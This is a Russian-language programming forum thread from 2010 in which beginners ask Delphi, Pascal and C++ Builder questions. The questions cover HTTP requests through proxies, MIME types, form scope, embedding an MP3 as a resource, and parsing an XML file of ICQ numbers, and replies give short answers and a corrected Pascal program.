23.01.2010, 01:53
Такое дело...мб кто ни будь знает
В общем TIdHttp. Надо передать пост запрос, но в ответ не получать всю страницу, а только заголовки. Как такое можно сделать?
Такое дело...мб кто ни будь знает
В общем TIdHttp. Надо передать пост запрос, но в ответ не получать всю страницу, а только заголовки. Как такое можно сделать?
Никак. Получай всю страницу затем выдирай из неё заголовки.
Подскажите.
заставляю idhttp работать через прокси.
Прверяю прокси в ручную в браузере все работает.
Делаю авторизацию при помощи idhttp, не авторизует вернее через некоторые прокси работает а через некоторые нет.
Пробывал Readtimeout, ставил 50000 все равно,
Еше накатал прогу что бы проверять прокси, она просто авторизуется на сайте через прокси если удачно то отмечает что прокси рабочий.
Потом эти рабочии прокси закидываю в прогу которая работает в 5 потоков некоторые из этих прокси уже не авторизуются.
Есть мысли по этому поводу?
Конечно. Прокси умирают, некоторые - довольно быстро.
Конечно. Прокси умирают, некоторые - довольно быстро.
Да умирают но ведь не через минуту после проверке.
Подскажите.
заставляю idhttp работать через прокси.
Прверяю прокси в ручную в браузере все работает.
Делаю авторизацию при помощи idhttp, не авторизует вернее через некоторые прокси работает а через некоторые нет.
Пробывал Readtimeout, ставил 50000 все равно,
Еше накатал прогу что бы проверять прокси, она просто авторизуется на сайте через прокси если удачно то отмечает что прокси рабочий.
Потом эти рабочии прокси закидываю в прогу которая работает в 5 потоков некоторые из этих прокси уже не авторизуются.
Есть мысли по этому поводу?
Проверь снифером что происходит.
Идут ли запросы и возвращается ли реквест.
Это наверное вопрос к дельфистам :)
Собственно,вопрос то по Cpp builder, но там все как в дельфях,так что...
Вопрос по области видимости.
Вот у меня снова небольшой вопрос.Решил поработать с 2-мя формами,что бы при нажатии на родительской форме унхайдилась дочерняя,и там можно было ввсети "некие настройки",например в поле Edit1.
Собственно вопрос связан с областью видимости.
В родиельской форме делаю инклуд Unit2.cpp, и по нажатию на кнопку вторая форма начинает показываться\скрываться.Но вот делема,если я во второй форме ввоже значение Edit1, и хочу обработать его на родительской форме,то я естественно натыкаюсь на область видимости.TForm2::Edit->Text пробывал так, компилятор забил на мои отчачные попытки поправить положение.Что и где проинклудить,или в каком разделе нужно что то прописать,что бы я мог видеть не только саму форму(Form2) в Form1, но и эелементы с дочерней формы.Спасибо.
Как можно зная расширения файла, сделать Content-Type?
К примеру: из .png сделать image/png
PS: Делать руками почти не реально т.к. расширений на свете очень много
НTL - не особо понял, что вам нужно. Ну я так понял перед отправкой на сервер, вам нужно указать заголовок. Просто из имени отправляемого файла берете расширение, сохраняете в переменную, затем подставляете в заголовок.
П.С по подробнее опишите проблему.
НTL - не особо понял, что вам нужно. Ну я так понял перед отправкой на сервер, вам нужно указать заголовок. Просто из имени отправляемого файла берете расширение, сохраняете в переменную, затем подставляете в заголовок.
П.С по подробнее опишите проблему.
При отправке файла мульти постом делается так:
---------345678
Content-Disposition: form-data; name="userfile"; filename="111.png"
Content-Type: image/png
Файл
---------345678
Так вот требуется сделать строку:
Content-Type: image/png
Зная расширение файла
Но вся проблема в том что для каждого расширение надо указывать уникальный "Тип данных"
Вот пару примеров:
.txt text/plain
.exe application/x-msdos-program
и т.д.
скажите пожалуйста как на Delphi реализовать смену основного монитора (их 2) ?
>>serhio<<
25.01.2010, 05:32
помогите исправить ощибки!
const
n=20;{maks dlina slova}
var
kolvo:array[1..n] of integer;
slovo, stroka:string;
i:integer;
f:text;
begin
for i:=1 to n do
begin
assign(f,'c:\in.txt');
reset(f);
while not eof(f) do
begin
readln(f,stroka);
slovo:='';
for i:=1 to length (stroka) do
begin
if stroka[i] in ['',''] then {v kvdratnih skobkah
cherez zapyatuyu perechislit' vse razdeliteli slov.kazhdiy razdelitel' v kavichkah razdelitel'}
begin
if length(slovo) > 0 then kolvo[length(slovo)]:=kolvo[length(slovo)]+1;
slovo:='';
end else
slovo:=slovo+stroka[i];
end;
if length(slovo)>0 then kolvo[length(slovo)]:=kolvo[length(slovo)]+1;
end;
close(f);
assign(f,'c:\out.txt');
rewrite(f);
for i:=1 to n do
writeln(f,'slov iz',i,'bukv:',kolvo[i]);
close(f);
readln;
end.
Твой код ужасен!
Расставил энды.
В смысл кода не вникал, потому как ты не сказал что он должен делать.
const
n = 20; {maks dlina slova}
var
kolvo: array[1..n] of integer;
slovo, stroka: string;
i, m, c: integer;
f: text;
begin
for i := 1 to n do
begin
assign(f, 'c:\in.txt');
reset(f);
while not eof(f) do
begin
readln(f, stroka);
slovo := '';
for m := 1 to length(stroka) do
begin
if stroka[m] in [',',' '] then {v kvdratnih skobkah cherez zapyatuyu perechislit' vse razdeliteli slov.kazhdiy razdelitel' v kavichkah razdelitel'}
begin
if length(slovo) > 0 then
begin
kolvo[length(slovo)] := kolvo[length(slovo)] + 1;
slovo := '';
end
else slovo := slovo + stroka[m];
end;
if length(slovo) > 0 then kolvo[length(slovo)] := kolvo[length(slovo)] + 1;
end;
end;
close(f);
end;
assign(f, 'c:\out.txt');
rewrite(f);
for c := 1 to n do
writeln(f, 'slov iz', c, 'bukv:', kolvo[c]);
close(f);
readln;
end.
можно ли загрузить в dll как то файл формата *.mp3?просто мне не нужно что бы были лишние файлы в папке.или предложите другой вариант,если он есть.
В делфи есть редактор ресурсов (WorkShop) через него создай ресурс с mp3 внутри
(многие виндовые функции поддерживают проигрывание файа из ресурса.)
Или как вариант создать rc файл и скомпилить его в res через brcc32.exe и потом подключи этот ресурс к своему проекту
n1ghtstalker
25.01.2010, 21:21
Возможно ли в pascal в ходе выполнения программы преобразовать тип переменной.
допустим из integer сделать str и обратно?
можно. Есть функции str и val
В icq mag есть возможность сохранить базу номеров в таком виде:
<ICQMagBase version="0.1b">
<number>
<uin>***</uin>
<pass>***</pass>
<pm/>
<pmpass/>
<qa/>
<kind>2</kind>
<len>9</len>
<numcount>*</numcount>
<numlist>***</numlist>
<i>no</i>
<price>0</price>
<adddate>***</adddate>
<chdate>***</chdate>
<state>0</state>
</number>
<number>
<uin>***</uin>
<pass>***</pass>
<pm/>
<pmpass/>
<qa/>
<kind>2</kind>
<len>9</len>
<numcount>*</numcount>
<numlist>***</numlist>
<i>no</i>
<price>0</price>
<adddate>***</adddate>
<chdate>***</chdate>
<state>0</state>
</number>
</ICQMagBase>
Как называется такая база? Как ее использовать в делфи? и можно ли ее зашифровать?(например использовать ключ)
Ну вообще это на xml всё написано. Так что юзай любой парсер xml
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot